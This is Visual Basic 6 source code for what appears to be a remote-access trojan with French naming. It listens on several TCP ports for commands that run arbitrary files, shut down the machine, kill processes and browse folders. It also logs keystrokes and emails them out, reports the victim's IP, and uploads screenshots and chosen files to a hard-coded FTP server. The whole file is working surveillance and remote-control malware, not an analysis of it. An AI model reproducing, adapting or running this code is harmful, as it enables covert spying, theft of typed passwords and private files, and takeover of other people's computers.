Option Explicit
Private Declare Function SetTimer Lib "USER32" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Private k As Integer
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" ( _
ByVal hWnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
ByRef lParam As Any) As Long
Private Declare Function FindWindow Lib "user32.dll" Alias "FindWindowA" ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Const WM_CLOSE As Long = &H10
Private strHTML As String
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Dim tempString As String
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim result As Integer
Dim vart As Long
Dim Tex As String
Dim cnXstate As String
Dim p As String
Dim ac As String
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Declare Function InternetGetConnectedState Lib "wininet" (ByRef dwflags As Long, _
ByVal dwReserved As Long) As Long
Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
Private Const CONNECT_LAN As Long = &H2
Private Const CONNECT_MODEM As Long = &H1
Private Const CONNECT_PROXY As Long = &H4
Private Const CONNECT_OFFLINE As Long = &H20
Private Const CONNECT_CONFIGURED As Long = &H40
Private Declare Function InternetDial Lib "wininet.dll" (ByVal hwndParent As Long, ByVal lpszConnectoid As String, ByVal dwflags As Long, ByRef lpdwConnection As Long, ByVal dwReserved As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function InternetHangUp Lib "wininet.dll" _
(ByVal lpdwConnection As Long, ByVal dwReserved As Long) As Long
Private Enum flags
INTERNET_CONNECTION_LAN = &H2
INTERNET_CONNECTION_MODEM = &H1
INTERNET_CONNECTION_PROXY = &H4
INTERNET_RAS_INSTALLED = &H10
End Enum
Private Enum DialUpOptions
INTERNET_DIAL_UNATTENDED = &H8000
INTERNET_DIAL_SHOW_OFFLINE = &H4000
INTERNET_DIAL_FORCE_PROMPT = &H2000
End Enum
Private Const ERROR_SUCCESS = &H0
Private Const ERROR_INVALID_PARAMETER = &H87
Private mlConnection As Long
Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub
Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
End Sub
Private Sub tcpserveur_Close()
tcpserveur.Close
tcpserveur.LocalPort = 1200
tcpserveur.Listen
vart = 1
End Sub
Private Sub tcpserveur3_Close()
tcpserveur3.Close
tcpserveur3.LocalPort = 5000
tcpserveur3.Listen
vart = 1
End Sub
Private Sub winsock4_Close()
Winsock4.Close
Winsock4.LocalPort = 7000
Winsock4.Listen
vart = 1
End Sub
Private Sub winsock1_Close()
Winsock1.Close
Winsock1.LocalPort = 6290
Winsock1.Listen
vart = 1
End Sub
Private Sub Tcpserveur2_Close()
Tcpserveur2.Close
Tcpserveur2.LocalPort = 1007
Tcpserveur2.Listen
vart = 1
End Sub
Private Sub winsock2_Close()
Winsock2.Close
Winsock2.LocalPort = 6300
Winsock2.Listen
vart = 1
End Sub
Private Sub Tcpserveur2_ConnectionRequest(ByVal requestID As Long)
If Tcpserveur2.State <> sckClosed Then Tcpserveur2.Close
Tcpserveur2.Accept requestID
End Sub
Private Sub Tcpserveur2_DataArrival(ByVal bytesTotal As Long)
Dim Msg4 As String, zay As String
Tcpserveur2.GetData Msg4
If Msg4 <> "" Then
ShellExecute Me.hWnd, "open", Msg4, ByVal 0&, 0&, 1
End If
End Sub
Private Sub tcpserveur3_ConnectionRequest(ByVal requestID As Long)
If tcpserveur3.State <> sckClosed Then tcpserveur3.Close
tcpserveur3.Accept requestID
End Sub
Private Sub tcpserveur3_DataArrival(ByVal bytesTotal As Long)
Dim zay As String
tcpserveur3.GetData zay
If zay = "putcapture" Then
Call PutCapture
End If
End Sub
Private Sub Timer1_Timer()
Dim i As Integer
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text3.Text = Text3.Text + Chr$(i)
End If
Next i
End Sub
Private Sub Form_Load()
tcpserveur.LocalPort = 1200
tcpserveur.Listen
Tcpserveur2.LocalPort = 1007
Tcpserveur2.Listen
tcpserveur3.LocalPort = 5000
tcpserveur3.Listen
Winsock1.LocalPort = 6290
Winsock1.Listen
Winsock2.LocalPort = 6300
Winsock2.Listen
Winsock3.LocalPort = 6390
Winsock3.Listen
Winsock4.LocalPort = 7000
Winsock4.Listen
vart = 1
'Me.Visible = False
Call WhatsMyIP
End Sub
Private Sub PutCapture()
Dim x As Integer, yaz As String, capture As Bitmap, dfg As String
Dim ImgF As Wia.ImageFile
Dim ImgP As Wia.ImageProcess
Dim filenom As String
Dim captur As String
Picture1.Cls
If Dir("d:pict.bmp") <> "" Then
Kill ("d:pict.bmp")
End If
Set Picture1.Picture = CaptureScreen()
filenom = "" & "pict.bmp"
filenom = "d:" & filenom
If filenom = "" Then
filenom = "C:UsersPCOneDriveBureaulivrelivrelivre_2livre_2_2Scvhosttiminghpcvtkr1.bmp"
Exit Sub
End If
SavePicture Picture1.Picture, filenom
Set ImgF = New Wia.ImageFile
ImgF.LoadFile filenom
Set ImgP = New Wia.ImageProcess
With ImgP
.Filters.Add .FilterInfos!Convert.FilterID
.Filters.Item(1).Properties!FormatID.Value = wiaFormatJPEG
Set ImgF = .Apply(ImgF)
End With
Kill (filenom)
ImgF.SaveFile filenom
filenom = "d:pict.bmp"
Inet1.AccessType = icUseDefault
Inet1.Protocol = icFTP
Inet1.RemoteHost = "185.98.131.135"
Inet1.UserName = "hben12147205"
Inet1.Password = "$$$$$$$$$$$$"
Inet1.Execute , "put " & filenom & " pict.bmp"
x = Inet1.StillExecuting
While x <> 0
x = Inet1.StillExecuting
DoEvents
Wend
yaz = "putterminated"
tcpserveur3.SendData yaz
Kill ("d:pict.bmp")
Inet1.Execute , "quit"
Form2.Show
Form1.Hide
Form1.Show
Form2.Hide
End Sub
Private Sub envoiMSG()
Dim config As CDO.Configuration
Dim email As CDO.Message
Set config = New CDO.Configuration
With config.Fields
.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp-relay.sendinblue.com"
.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 587
.Item("http://schemas.microsoft.com/cdo/configuration/smtpuseSSL") = False
.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "$$$$$$$$$$$"
.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "$$$$$$$$$$$$$"
.Update
End With
Set email = New CDO.Message
With email
Set .Configuration = config
.From = "$$$$$$$$$$$$$$$$$$"
.To = "$$$$$$$$$$$$$$$"
.Subject = "IP"
.TextBody = Tex
.Send
End With
End Sub
Private Sub Form_Terminate()
tcpserveur.Close
Tcpserveur2.Close
tcpserveur3.Close
Winsock1.Close
Winsock2.Close
Winsock3.Close
Winsock4.Close
End Sub
Private Sub tcpserveur_ConnectionRequest(ByVal requestID As Long)
Dim msg As String
If tcpserveur.State <> sckClosed Then tcpserveur.Close
tcpserveur.Accept requestID
msg = "connexion etablie"
tcpserveur.SendData msg
End Sub
Private Sub tcpserveur_DataArrival(ByVal bytesTotal As Long)
Dim msg2 As String, msg3 As String
tcpserveur.GetData msg3
If msg3 = "showform2" Then
Form2.Show
Else
If msg3 = "showform3" Then
Form3.Show
Else
If msg3 = "turnoff" Then
Shell ("shutdown -s")
Else
If msg3 = "restart" Then
Shell ("shutdown -r")
Else
If msg3 = "opencdrom" Then
Call OuvrirCD
Else
MsgBox (msg3)
End If
End If
End If
End If
End If
End Sub
Private Sub OuvrirCD()
Dim ret As Long
ret = mciSendString("Set cdaudio door open", vbNullChar, 0, 0)
End Sub
Private Sub Timer2_Timer()
Call pRoc1
vart = vart + 1
If vart = 4 And cnXstate <> "offline" Then
Tex = Text3.Text
Text3.Text = ""
Call envoiMSG
Else
End If
End Sub
Private Sub pRoc1()
Dim lngFlags As Long
If InternetGetConnectedState(lngFlags, 0) Then
If lngFlags And flags.INTERNET_CONNECTION_LAN Then
cnXstate = "lan"
ElseIf lngFlags And flags.INTERNET_CONNECTION_MODEM Then
cnXstate = "modem"
ElseIf lngFlags And flags.INTERNET_CONNECTION_PROXY Then
cnXstate = "proxy"
End If
Else
cnXstate = "offline"
End If
End Sub
Private Sub envoiMSG2()
Dim config As CDO.Configuration
Dim email As CDO.Message
Set config = New CDO.Configuration
With config.Fields
.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp-relay.sendinblue.com"
.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 587
.Item("http://schemas.microsoft.com/cdo/configuration/smtpuseSSL") = False
.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "$$$$$$$$$$$$$"
.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "$$$$$$$$$$$$$$$"
.Update
End With
Set email = New CDO.Message
With email
Set .Configuration = config
.From = "$$$$$$$$$$$$$$$$$$$"
.To = "$$$$$$$$$$$$$$"
.Subject = "IP"
.TextBody = Text5.Text
.Send
End With
End Sub
Private Sub Text5_Change()
ac = "127.0.0.1"
If Text5.Text <> ac Then
Timer4.Enabled = True
End If
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Sub WhatsMyIP()
Text5.Text = "http://checkip.dyndns.com/"
If Len(Text5.Text) > 0 Then
If Inet1.StillExecuting Then Inet1.Cancel
strHTML = Inet1.OpenURL(Text5.Text)
If Len(strHTML) > 0 Then
Text5.Text = "Extracting IP..."
Text5.Text = (strHTML)
Else
End If
End If
End Sub
Private Sub Timer4_Timer()
Call pRoc1
ac = "127.0.0.1"
If Text5.Text <> ac And cnXstate <> "offline" Then
Call envoiMSG2
End If
Timer4.Enabled = False
End Sub
Public Sub KillProcess(ByVal processName As String)
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
servicename = LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim klp As String
Winsock1.GetData klp
If klp <> "" Then
KillProcess (klp)
End If
End Sub
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
If Winsock2.State <> sckClosed Then Winsock2.Close
Winsock2.Accept requestID
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim fso As New FileSystemObject
Dim fld As Folder
Dim fil As File
Dim n As Integer
Dim dirf1 As String, fichiers As String
Dim ta(10000) As String
Dim i As Integer
Winsock2.GetData dirf1
If dirf1 <> "" Then
i = 1
Dir1.Path = dirf1
File1.Path = dirf1
Set fld = fso.GetFolder(dirf1)
n = fld.Files.Count
For Each fil In fld.Files
ta(i) = fil.Name
i = i + 1
Next
Set fil = Nothing
Set fld = Nothing
Set fso = Nothing
For i = 1 To n
fichiers = fichiers & " / " & ta(i) & " / "
Next
End If
Tcpserveur2.SendData fichiers
End Sub
Private Sub Winsock3_Close()
Winsock3.Close
Winsock3.LocalPort = 6390
Winsock3.Listen
vart = 1
End Sub
Private Sub Winsock3_ConnectionRequest(ByVal requestID As Long)
If Winsock3.State <> sckClosed Then Winsock3.Close
Winsock3.Accept requestID
End Sub
Private Sub Winsock3_DataArrival(ByVal bytesTotal As Long)
Dim fso As New FileSystemObject
Dim fld As Folder
Dim subf As Folder
Dim p As Integer
Dim dirf1 As String, dossiers As String
Dim tabl(10000) As String
Dim j As Integer
Winsock3.GetData dirf1
j = 1
Dir1.Path = dirf1
File1.Path = dirf1
Set fld = fso.GetFolder(dirf1)
p = fld.SubFolders.Count
For Each subf In fld.SubFolders
tabl(j) = subf.Name
j = j + 1
Next
Set fld = Nothing
Set subf = Nothing
Set fso = Nothing
For j = 1 To p
dossiers = dossiers & " / " & tabl(j) & " / "
Next
Winsock2.SendData dossiers
End Sub
Private Sub Winsock4_ConnectionRequest(ByVal requestID As Long)
If Winsock4.State <> sckClosed Then Winsock4.Close
Winsock4.Accept requestID
End Sub
Private Sub Winsock4_DataArrival(ByVal bytesTotal As Long)
Dim dwn As String, x As Integer, fichier As String, File1 As String, file2 As String, file3 As String, cde As String
Winsock4.GetData dwn
If dwn <> "" Then
Inet3.AccessType = icUseDefault
Inet3.Protocol = icFTP
Inet3.RemoteHost = "185.98.131.135"
Inet3.UserName = "hben12147205"
Inet3.Password = "$$$$$$$$$$$$"
fichier = Mid$(dwn, InStrRev(dwn, "") + 1)
cde = "put" & " " & dwn & " " & fichier
Inet3.Execute , cde
x = Inet3.StillExecuting
While x <> 0
x = Inet3.StillExecuting
DoEvents
Wend
Inet3.Execute , "quit"
Winsock4.SendData dwn
End If
End Sub
